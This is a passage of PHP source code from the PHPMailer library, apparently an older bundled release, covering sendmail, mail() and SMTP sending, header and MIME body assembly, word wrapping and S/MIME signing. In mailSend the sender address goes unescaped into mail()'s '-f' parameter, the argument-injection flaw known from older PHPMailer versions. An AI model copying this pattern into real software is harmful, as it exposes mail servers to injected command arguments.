8948 public function postSend()
8949 {
8950 try {
8951 // Choose the mailer and send through it
8952 switch ($this->Mailer) {
8953 case 'sendmail':
8954 case 'qmail':
8955 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
8956 case 'smtp':
8957 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
8958 case 'mail':
8959 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8960 default:
8961 $sendMethod = $this->Mailer.'Send';
8962 if (method_exists($this, $sendMethod)) {
8963 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
8964 }
8965
8966 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8967 }
8968 } catch (phpmailerException $exc) {
8969 $this->setError($exc->getMessage());
8970 $this->edebug($exc->getMessage());
8971 if ($this->exceptions) {
8972 throw $exc;
8973 }
8974 }
8975 return false;
8976 }
8977
8978 /**
8979 * Send mail using the $Sendmail program.
8980 * @param string $header The message headers
8981 * @param string $body The message body
8982 * @see PHPMailer::$Sendmail
8983 * @throws phpmailerException
8984 * @access protected
8985 * @return boolean
8986 */
8987 protected function sendmailSend($header, $body)
8988 {
8989 if ($this->Sender != '') {
8990 if ($this->Mailer == 'qmail') {
8991 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8992 } else {
8993 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
8994 }
8995 } else {
8996 if ($this->Mailer == 'qmail') {
8997 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
8998 } else {
8999 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
9000 }
9001 }
9002 if ($this->SingleTo) {
9003 foreach ($this->SingleToArray as $toAddr) {
9004 if (!@$mail = popen($sendmail, 'w')) {
9005 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9006 }
9007 fputs($mail, 'To: ' . $toAddr . "\n");
9008 fputs($mail, $header);
9009 fputs($mail, $body);
9010 $result = pclose($mail);
9011 $this->doCallback(
9012 ($result == 0),
9013 array($toAddr),
9014 $this->cc,
9015 $this->bcc,
9016 $this->Subject,
9017 $body,
9018 $this->From
9019 );
9020 if ($result != 0) {
9021 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9022 }
9023 }
9024 } else {
9025 if (!@$mail = popen($sendmail, 'w')) {
9026 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9027 }
9028 fputs($mail, $header);
9029 fputs($mail, $body);
9030 $result = pclose($mail);
9031 $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9032 if ($result != 0) {
9033 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
9034 }
9035 }
9036 return true;
9037 }
9038
9039 /**
9040 * Send mail using the PHP mail() function.
9041 * @param string $header The message headers
9042 * @param string $body The message body
9043 * @link http://www.php.net/manual/en/book.mail.php
9044 * @throws phpmailerException
9045 * @access protected
9046 * @return boolean
9047 */
9048 protected function mailSend($header, $body)
9049 {
9050 $toArr = array();
9051 foreach ($this->to as $toaddr) {
9052 $toArr[] = $this->addrFormat($toaddr);
9053 }
9054 $to = implode(', ', $toArr);
9055
9056 if (empty($this->Sender)) {
9057 $params = ' ';
9058 } else {
9059 $params = sprintf('-f%s', $this->Sender);
9060 }
9061 if ($this->Sender != '' and !ini_get('safe_mode')) {
9062 $old_from = ini_get('sendmail_from');
9063 ini_set('sendmail_from', $this->Sender);
9064 }
9065 $result = false;
9066 if ($this->SingleTo && count($toArr) > 1) {
9067 foreach ($toArr as $toAddr) {
9068 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
9069 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9070 }
9071 } else {
9072 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
9073 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
9074 }
9075 if (isset($old_from)) {
9076 ini_set('sendmail_from', $old_from);
9077 }
9078 if (!$result) {
9079 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
9080 }
9081 return true;
9082 }
9083
9084 /**
9085 * Get an instance to use for SMTP operations.
9086 * Override this function to load your own SMTP implementation
9087 * @return SMTP
9088 */
9089 public function getSMTPInstance()
9090 {
9091 if (!is_object($this->smtp)) {
9092 $this->smtp = new SMTP;
9093 }
9094 return $this->smtp;
9095 }
9096
9097 /**
9098 * Send mail via SMTP.
9099 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
9100 * Uses the PHPMailerSMTP class by default.
9101 * @see PHPMailer::getSMTPInstance() to use a different class.
9102 * @param string $header The message headers
9103 * @param string $body The message body
9104 * @throws phpmailerException
9105 * @uses SMTP
9106 * @access protected
9107 * @return boolean
9108 */
9109 protected function smtpSend($header, $body)
9110 {
9111 $bad_rcpt = array();
9112
9113 if (!$this->smtpConnect()) {
9114 throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
9115 }
9116 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
9117 if (!$this->smtp->mail($smtp_from)) {
9118 $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
9119 throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
9120 }
9121
9122 // Attempt to send to all recipients
9123 foreach ($this->to as $to) {
9124 if (!$this->smtp->recipient($to[0])) {
9125 $bad_rcpt[] = $to[0];
9126 $isSent = false;
9127 } else {
9128 $isSent = true;
9129 }
9130 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
9131 }
9132 foreach ($this->cc as $cc) {
9133 if (!$this->smtp->recipient($cc[0])) {
9134 $bad_rcpt[] = $cc[0];
9135 $isSent = false;
9136 } else {
9137 $isSent = true;
9138 }
9139 $this->doCallback($isSent, array(), array($cc[0]), array(), $this->Subject, $body, $this->From);
9140 }
9141 foreach ($this->bcc as $bcc) {
9142 if (!$this->smtp->recipient($bcc[0])) {
9143 $bad_rcpt[] = $bcc[0];
9144 $isSent = false;
9145 } else {
9146 $isSent = true;
9147 }
9148 $this->doCallback($isSent, array(), array(), array($bcc[0]), $this->Subject, $body, $this->From);
9149 }
9150
9151 // Only send the DATA command if we have viable recipients
9152 if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
9153 throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
9154 }
9155 if ($this->SMTPKeepAlive) {
9156 $this->smtp->reset();
9157 } else {
9158 $this->smtp->quit();
9159 $this->smtp->close();
9160 }
9161 if (count($bad_rcpt) > 0) { // Create error message for any bad addresses
9162 throw new phpmailerException(
9163 $this->lang('recipients_failed') . implode(', ', $bad_rcpt),
9164 self::STOP_CONTINUE
9165 );
9166 }
9167 return true;
9168 }
9169
9170 /**
9171 * Initiate a connection to an SMTP server.
9172 * Returns false if the operation failed.
9173 * @param array $options An array of options compatible with stream_context_create()
9174 * @uses SMTP
9175 * @access public
9176 * @throws phpmailerException
9177 * @return boolean
9178 */
9179 public function smtpConnect($options = array())
9180 {
9181 if (is_null($this->smtp)) {
9182 $this->smtp = $this->getSMTPInstance();
9183 }
9184
9185 // Already connected?
9186 if ($this->smtp->connected()) {
9187 return true;
9188 }
9189
9190 $this->smtp->setTimeout($this->Timeout);
9191 $this->smtp->setDebugLevel($this->SMTPDebug);
9192 $this->smtp->setDebugOutput($this->Debugoutput);
9193 $this->smtp->setVerp($this->do_verp);
9194 $hosts = explode(';', $this->Host);
9195 $lastexception = null;
9196
9197 foreach ($hosts as $hostentry) {
9198 $hostinfo = array();
9199 if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
9200 // Not a valid host entry
9201 continue;
9202 }
9203 // $hostinfo[2]: optional ssl or tls prefix
9204 // $hostinfo[3]: the hostname
9205 // $hostinfo[4]: optional port number
9206 // The host string prefix can temporarily override the current setting for SMTPSecure
9207 // If it's not specified, the default value is used
9208 $prefix = '';
9209 $tls = ($this->SMTPSecure == 'tls');
9210 if ($hostinfo[2] == 'ssl' or ($hostinfo[2] == '' and $this->SMTPSecure == 'ssl')) {
9211 $prefix = 'ssl://';
9212 $tls = false; // Can't have SSL and TLS at once
9213 } elseif ($hostinfo[2] == 'tls') {
9214 $tls = true;
9215 // tls doesn't use a prefix
9216 }
9217 $host = $hostinfo[3];
9218 $port = $this->Port;
9219 $tport = (integer)$hostinfo[4];
9220 if ($tport > 0 and $tport < 65536) {
9221 $port = $tport;
9222 }
9223 if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
9224 try {
9225 if ($this->Helo) {
9226 $hello = $this->Helo;
9227 } else {
9228 $hello = $this->serverHostname();
9229 }
9230 $this->smtp->hello($hello);
9231
9232 if ($tls) {
9233 if (!$this->smtp->startTLS()) {
9234 throw new phpmailerException($this->lang('connect_host'));
9235 }
9236 // We must resend HELO after tls negotiation
9237 $this->smtp->hello($hello);
9238 }
9239 if ($this->SMTPAuth) {
9240 if (!$this->smtp->authenticate(
9241 $this->Username,
9242 $this->Password,
9243 $this->AuthType,
9244 $this->Realm,
9245 $this->Workstation
9246 )
9247 ) {
9248 throw new phpmailerException($this->lang('authenticate'));
9249 }
9250 }
9251 return true;
9252 } catch (phpmailerException $exc) {
9253 $lastexception = $exc;
9254 // We must have connected, but then failed TLS or Auth, so close connection nicely
9255 $this->smtp->quit();
9256 }
9257 }
9258 }
9259 // If we get here, all connection attempts have failed, so close connection hard
9260 $this->smtp->close();
9261 // As we've caught all exceptions, just report whatever the last one was
9262 if ($this->exceptions and !is_null($lastexception)) {
9263 throw $lastexception;
9264 }
9265 return false;
9266 }
9267
9268 /**
9269 * Close the active SMTP session if one exists.
9270 * @return void
9271 */
9272 public function smtpClose()
9273 {
9274 if ($this->smtp !== null) {
9275 if ($this->smtp->connected()) {
9276 $this->smtp->quit();
9277 $this->smtp->close();
9278 }
9279 }
9280 }
9281
9282 /**
9283 * Set the language for error messages.
9284 * Returns false if it cannot load the language file.
9285 * The default language is English.
9286 * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
9287 * @param string $lang_path Path to the language file directory, with trailing separator (slash)
9288 * @return boolean
9289 * @access public
9290 */
9291 public function setLanguage($langcode = 'en', $lang_path = '')
9292 {
9293 // Define full set of translatable strings in English
9294 $PHPMAILER_LANG = array(
9295 'authenticate' => 'SMTP Error: Could not authenticate.',
9296 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
9297 'data_not_accepted' => 'SMTP Error: data not accepted.',
9298 'empty_message' => 'Message body empty',
9299 'encoding' => 'Unknown encoding: ',
9300 'execute' => 'Could not execute: ',
9301 'file_access' => 'Could not access file: ',
9302 'file_open' => 'File Error: Could not open file: ',
9303 'from_failed' => 'The following From address failed: ',
9304 'instantiate' => 'Could not instantiate mail function.',
9305 'invalid_address' => 'Invalid address',
9306 'mailer_not_supported' => ' mailer is not supported.',
9307 'provide_address' => 'You must provide at least one recipient email address.',
9308 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
9309 'signing' => 'Signing Error: ',
9310 'smtp_connect_failed' => 'SMTP connect() failed.',
9311 'smtp_error' => 'SMTP server error: ',
9312 'variable_set' => 'Cannot set or reset variable: '
9313 );
9314 if (empty($lang_path)) {
9315 // Calculate an absolute path so it can work if CWD is not here
9316 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
9317 }
9318 $foundlang = true;
9319 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
9320 if ($langcode != 'en') { // There is no English translation file
9321 // Make sure language file path is readable
9322 if (!is_readable($lang_file)) {
9323 $foundlang = false;
9324 } else {
9325 // Overwrite language-specific strings.
9326 // This way we'll never have missing translations.
9327 $foundlang = include $lang_file;
9328 }
9329 }
9330 $this->language = $PHPMAILER_LANG;
9331 return (boolean)$foundlang; // Returns false if language not found
9332 }
9333
9334 /**
9335 * Get the array of strings for the current language.
9336 * @return array
9337 */
9338 public function getTranslations()
9339 {
9340 return $this->language;
9341 }
9342
9343 /**
9344 * Create recipient headers.
9345 * @access public
9346 * @param string $type
9347 * @param array $addr An array of recipient,
9348 * where each recipient is a 2-element indexed array with element 0 containing an address
9349 * and element 1 containing a name, like:
9350 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
9351 * @return string
9352 */
9353 public function addrAppend($type, $addr)
9354 {
9355 $addresses = array();
9356 foreach ($addr as $address) {
9357 $addresses[] = $this->addrFormat($address);
9358 }
9359 return $type . ': ' . implode(', ', $addresses) . $this->LE;
9360 }
9361
9362 /**
9363 * Format an address for use in a message header.
9364 * @access public
9365 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
9366 * like array('joe@example.com', 'Joe User')
9367 * @return string
9368 */
9369 public function addrFormat($addr)
9370 {
9371 if (empty($addr[1])) { // No name provided
9372 return $this->secureHeader($addr[0]);
9373 } else {
9374 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
9375 $addr[0]
9376 ) . '>';
9377 }
9378 }
9379
9380 /**
9381 * Word-wrap message.
9382 * For use with mailers that do not automatically perform wrapping
9383 * and for quoted-printable encoded messages.
9384 * Original written by philippe.
9385 * @param string $message The message to wrap
9386 * @param integer $length The line length to wrap to
9387 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
9388 * @access public
9389 * @return string
9390 */
9391 public function wrapText($message, $length, $qp_mode = false)
9392 {
9393 $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
9394 // If utf-8 encoding is used, we will need to make sure we don't
9395 // split multibyte characters when we wrap
9396 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
9397 $lelen = strlen($this->LE);
9398 $crlflen = strlen(self::CRLF);
9399
9400 $message = $this->fixEOL($message);
9401 if (substr($message, -$lelen) == $this->LE) {
9402 $message = substr($message, 0, -$lelen);
9403 }
9404
9405 $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
9406 $message = '';
9407 for ($i = 0; $i < count($line); $i++) {
9408 $line_part = explode(' ', $line[$i]);
9409 $buf = '';
9410 for ($e = 0; $e < count($line_part); $e++) {
9411 $word = $line_part[$e];
9412 if ($qp_mode and (strlen($word) > $length)) {
9413 $space_left = $length - strlen($buf) - $crlflen;
9414 if ($e != 0) {
9415 if ($space_left > 20) {
9416 $len = $space_left;
9417 if ($is_utf8) {
9418 $len = $this->utf8CharBoundary($word, $len);
9419 } elseif (substr($word, $len - 1, 1) == '=') {
9420 $len--;
9421 } elseif (substr($word, $len - 2, 1) == '=') {
9422 $len -= 2;
9423 }
9424 $part = substr($word, 0, $len);
9425 $word = substr($word, $len);
9426 $buf .= ' ' . $part;
9427 $message .= $buf . sprintf('=%s', self::CRLF);
9428 } else {
9429 $message .= $buf . $soft_break;
9430 }
9431 $buf = '';
9432 }
9433 while (strlen($word) > 0) {
9434 if ($length <= 0) {
9435 break;
9436 }
9437 $len = $length;
9438 if ($is_utf8) {
9439 $len = $this->utf8CharBoundary($word, $len);
9440 } elseif (substr($word, $len - 1, 1) == '=') {
9441 $len--;
9442 } elseif (substr($word, $len - 2, 1) == '=') {
9443 $len -= 2;
9444 }
9445 $part = substr($word, 0, $len);
9446 $word = substr($word, $len);
9447
9448 if (strlen($word) > 0) {
9449 $message .= $part . sprintf('=%s', self::CRLF);
9450 } else {
9451 $buf = $part;
9452 }
9453 }
9454 } else {
9455 $buf_o = $buf;
9456 $buf .= ($e == 0) ? $word : (' ' . $word);
9457
9458 if (strlen($buf) > $length and $buf_o != '') {
9459 $message .= $buf_o . $soft_break;
9460 $buf = $word;
9461 }
9462 }
9463 }
9464 $message .= $buf . self::CRLF;
9465 }
9466
9467 return $message;
9468 }
9469
9470 /**
9471 * Find the last character boundary prior to $maxLength in a utf-8
9472 * quoted (printable) encoded string.
9473 * Original written by Colin Brown.
9474 * @access public
9475 * @param string $encodedText utf-8 QP text
9476 * @param integer $maxLength find last character boundary prior to this length
9477 * @return integer
9478 */
9479 public function utf8CharBoundary($encodedText, $maxLength)
9480 {
9481 $foundSplitPos = false;
9482 $lookBack = 3;
9483 while (!$foundSplitPos) {
9484 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
9485 $encodedCharPos = strpos($lastChunk, '=');
9486 if (false !== $encodedCharPos) {
9487 // Found start of encoded character byte within $lookBack block.
9488 // Check the encoded byte value (the 2 chars after the '=')
9489 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
9490 $dec = hexdec($hex);
9491 if ($dec < 128) { // Single byte character.
9492 // If the encoded char was found at pos 0, it will fit
9493 // otherwise reduce maxLength to start of the encoded char
9494 $maxLength = ($encodedCharPos == 0) ? $maxLength :
9495 $maxLength - ($lookBack - $encodedCharPos);
9496 $foundSplitPos = true;
9497 } elseif ($dec >= 192) { // First byte of a multi byte character
9498 // Reduce maxLength to split at start of character
9499 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
9500 $foundSplitPos = true;
9501 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
9502 $lookBack += 3;
9503 }
9504 } else {
9505 // No encoded character found
9506 $foundSplitPos = true;
9507 }
9508 }
9509 return $maxLength;
9510 }
9511
9512 /**
9513 * Set the body wrapping.
9514 * @access public
9515 * @return void
9516 */
9517 public function setWordWrap()
9518 {
9519 if ($this->WordWrap < 1) {
9520 return;
9521 }
9522
9523 switch ($this->message_type) {
9524 case 'alt':
9525 case 'alt_inline':
9526 case 'alt_attach':
9527 case 'alt_inline_attach':
9528 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
9529 break;
9530 default:
9531 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
9532 break;
9533 }
9534 }
9535
9536 /**
9537 * Assemble message headers.
9538 * @access public
9539 * @return string The assembled headers
9540 */
9541 public function createHeader()
9542 {
9543 $result = '';
9544
9545 // Set the boundaries
9546 $uniq_id = md5(uniqid(time()));
9547 $this->boundary[1] = 'b1_' . $uniq_id;
9548 $this->boundary[2] = 'b2_' . $uniq_id;
9549 $this->boundary[3] = 'b3_' . $uniq_id;
9550
9551 if ($this->MessageDate == '') {
9552 $this->MessageDate = self::rfcDate();
9553 }
9554 $result .= $this->headerLine('Date', $this->MessageDate);
9555
9556
9557 // To be created automatically by mail()
9558 if ($this->SingleTo) {
9559 if ($this->Mailer != 'mail') {
9560 foreach ($this->to as $toaddr) {
9561 $this->SingleToArray[] = $this->addrFormat($toaddr);
9562 }
9563 }
9564 } else {
9565 if (count($this->to) > 0) {
9566 if ($this->Mailer != 'mail') {
9567 $result .= $this->addrAppend('To', $this->to);
9568 }
9569 } elseif (count($this->cc) == 0) {
9570 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
9571 }
9572 }
9573
9574 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
9575
9576 // sendmail and mail() extract Cc from the header before sending
9577 if (count($this->cc) > 0) {
9578 $result .= $this->addrAppend('Cc', $this->cc);
9579 }
9580
9581 // sendmail and mail() extract Bcc from the header before sending
9582 if ((
9583 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
9584 )
9585 and count($this->bcc) > 0
9586 ) {
9587 $result .= $this->addrAppend('Bcc', $this->bcc);
9588 }
9589
9590 if (count($this->ReplyTo) > 0) {
9591 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
9592 }
9593
9594 // mail() sets the subject itself
9595 if ($this->Mailer != 'mail') {
9596 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
9597 }
9598
9599 if ($this->MessageID != '') {
9600 $this->lastMessageID = $this->MessageID;
9601 } else {
9602 $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
9603 }
9604 $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
9605 $result .= $this->headerLine('X-Priority', $this->Priority);
9606 if ($this->XMailer == '') {
9607 $result .= $this->headerLine(
9608 'X-Mailer',
9609 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
9610 );
9611 } else {
9612 $myXmailer = trim($this->XMailer);
9613 if ($myXmailer) {
9614 $result .= $this->headerLine('X-Mailer', $myXmailer);
9615 }
9616 }
9617
9618 if ($this->ConfirmReadingTo != '') {
9619 $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
9620 }
9621
9622 // Add custom headers
9623 for ($index = 0; $index < count($this->CustomHeader); $index++) {
9624 $result .= $this->headerLine(
9625 trim($this->CustomHeader[$index][0]),
9626 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
9627 );
9628 }
9629 if (!$this->sign_key_file) {
9630 $result .= $this->headerLine('MIME-Version', '1.0');
9631 $result .= $this->getMailMIME();
9632 }
9633
9634 return $result;
9635 }
9636
9637 /**
9638 * Get the message MIME type headers.
9639 * @access public
9640 * @return string
9641 */
9642 public function getMailMIME()
9643 {
9644 $result = '';
9645 $ismultipart = true;
9646 switch ($this->message_type) {
9647 case 'inline':
9648 $result .= $this->headerLine('Content-Type', 'multipart/related;');
9649 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9650 break;
9651 case 'attach':
9652 case 'inline_attach':
9653 case 'alt_attach':
9654 case 'alt_inline_attach':
9655 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
9656 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9657 break;
9658 case 'alt':
9659 case 'alt_inline':
9660 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
9661 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
9662 break;
9663 default:
9664 // Catches case 'plain': and case '':
9665 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
9666 $ismultipart = false;
9667 break;
9668 }
9669 // RFC1341 part 5 says 7bit is assumed if not specified
9670 if ($this->Encoding != '7bit') {
9671 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
9672 if ($ismultipart) {
9673 if ($this->Encoding == '8bit') {
9674 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
9675 }
9676 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
9677 } else {
9678 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
9679 }
9680 }
9681
9682 if ($this->Mailer != 'mail') {
9683 $result .= $this->LE;
9684 }
9685
9686 return $result;
9687 }
9688
9689 /**
9690 * Returns the whole MIME message.
9691 * Includes complete headers and body.
9692 * Only valid post preSend().
9693 * @see PHPMailer::preSend()
9694 * @access public
9695 * @return string
9696 */
9697 public function getSentMIMEMessage()
9698 {
9699 return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
9700 }
9701
9702
9703 /**
9704 * Assemble the message body.
9705 * Returns an empty string on failure.
9706 * @access public
9707 * @throws phpmailerException
9708 * @return string The assembled message body
9709 */
9710 public function createBody()
9711 {
9712 $body = '';
9713
9714 if ($this->sign_key_file) {
9715 $body .= $this->getMailMIME() . $this->LE;
9716 }
9717
9718 $this->setWordWrap();
9719
9720 $bodyEncoding = $this->Encoding;
9721 $bodyCharSet = $this->CharSet;
9722 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
9723 $bodyEncoding = '7bit';
9724 $bodyCharSet = 'us-ascii';
9725 }
9726 $altBodyEncoding = $this->Encoding;
9727 $altBodyCharSet = $this->CharSet;
9728 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
9729 $altBodyEncoding = '7bit';
9730 $altBodyCharSet = 'us-ascii';
9731 }
9732 switch ($this->message_type) {
9733 case 'inline':
9734 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9735 $body .= $this->encodeString($this->Body, $bodyEncoding);
9736 $body .= $this->LE . $this->LE;
9737 $body .= $this->attachAll('inline', $this->boundary[1]);
9738 break;
9739 case 'attach':
9740 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
9741 $body .= $this->encodeString($this->Body, $bodyEncoding);
9742 $body .= $this->LE . $this->LE;
9743 $body .= $this->attachAll('attachment', $this->boundary[1]);
9744 break;
9745 case 'inline_attach':
9746 $body .= $this->textLine('--' . $this->boundary[1]);
9747 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9748 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9749 $body .= $this->LE;
9750 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
9751 $body .= $this->encodeString($this->Body, $bodyEncoding);
9752 $body .= $this->LE . $this->LE;
9753 $body .= $this->attachAll('inline', $this->boundary[2]);
9754 $body .= $this->LE;
9755 $body .= $this->attachAll('attachment', $this->boundary[1]);
9756 break;
9757 case 'alt':
9758 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9759 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9760 $body .= $this->LE . $this->LE;
9761 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
9762 $body .= $this->encodeString($this->Body, $bodyEncoding);
9763 $body .= $this->LE . $this->LE;
9764 if (!empty($this->Ical)) {
9765 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
9766 $body .= $this->encodeString($this->Ical, $this->Encoding);
9767 $body .= $this->LE . $this->LE;
9768 }
9769 $body .= $this->endBoundary($this->boundary[1]);
9770 break;
9771 case 'alt_inline':
9772 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9773 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9774 $body .= $this->LE . $this->LE;
9775 $body .= $this->textLine('--' . $this->boundary[1]);
9776 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9777 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9778 $body .= $this->LE;
9779 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9780 $body .= $this->encodeString($this->Body, $bodyEncoding);
9781 $body .= $this->LE . $this->LE;
9782 $body .= $this->attachAll('inline', $this->boundary[2]);
9783 $body .= $this->LE;
9784 $body .= $this->endBoundary($this->boundary[1]);
9785 break;
9786 case 'alt_attach':
9787 $body .= $this->textLine('--' . $this->boundary[1]);
9788 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9789 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9790 $body .= $this->LE;
9791 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9792 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9793 $body .= $this->LE . $this->LE;
9794 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
9795 $body .= $this->encodeString($this->Body, $bodyEncoding);
9796 $body .= $this->LE . $this->LE;
9797 $body .= $this->endBoundary($this->boundary[2]);
9798 $body .= $this->LE;
9799 $body .= $this->attachAll('attachment', $this->boundary[1]);
9800 break;
9801
9802 case 'alt_inline_attach':
9803 $body .= $this->textLine('--' . $this->boundary[1]);
9804 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
9805 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
9806 $body .= $this->LE;
9807 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
9808 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
9809 $body .= $this->LE . $this->LE;
9810 $body .= $this->textLine('--' . $this->boundary[2]);
9811 $body .= $this->headerLine('Content-Type', 'multipart/related;');
9812 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
9813 $body .= $this->LE;
9814 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
9815 $body .= $this->encodeString($this->Body, $bodyEncoding);
9816 $body .= $this->LE . $this->LE;
9817 $body .= $this->attachAll('inline', $this->boundary[3]);
9818 $body .= $this->LE;
9819 $body .= $this->endBoundary($this->boundary[2]);
9820 $body .= $this->LE;
9821 $body .= $this->attachAll('attachment', $this->boundary[1]);
9822 break;
9823 default:
9824 // catch case 'plain' and case ''
9825 $body .= $this->encodeString($this->Body, $bodyEncoding);
9826 break;
9827 }
9828
9829 if ($this->isError()) {
9830 $body = '';
9831 } elseif ($this->sign_key_file) {
9832 try {
9833 if (!defined('PKCS7_TEXT')) {
9834 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
9835 }
9836 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
9837 $file = tempnam(sys_get_temp_dir(), 'mail');
9838 if (false === file_put_contents($file, $body)) {
9839 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
9840 }
9841 $signed = tempnam(sys_get_temp_dir(), 'signed');
9842 if (@openssl_pkcs7_sign(
9843 $file,
9844 $signed,
9845 'file://' . realpath($this->sign_cert_file),
9846 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
9847 null
9848 )
9849 ) {
9850 @unlink($file);
9851 $body = file_get_contents($signed);
9852 @unlink($signed);
9853 } else {
9854 @unlink($file);
9855 @unlink($signed);
9856 throw new phpmailerException($this->lang('signing') . openssl_error_string());
9857 }
9858 } catch (phpmailerException $exc) {
9859 $body = '';
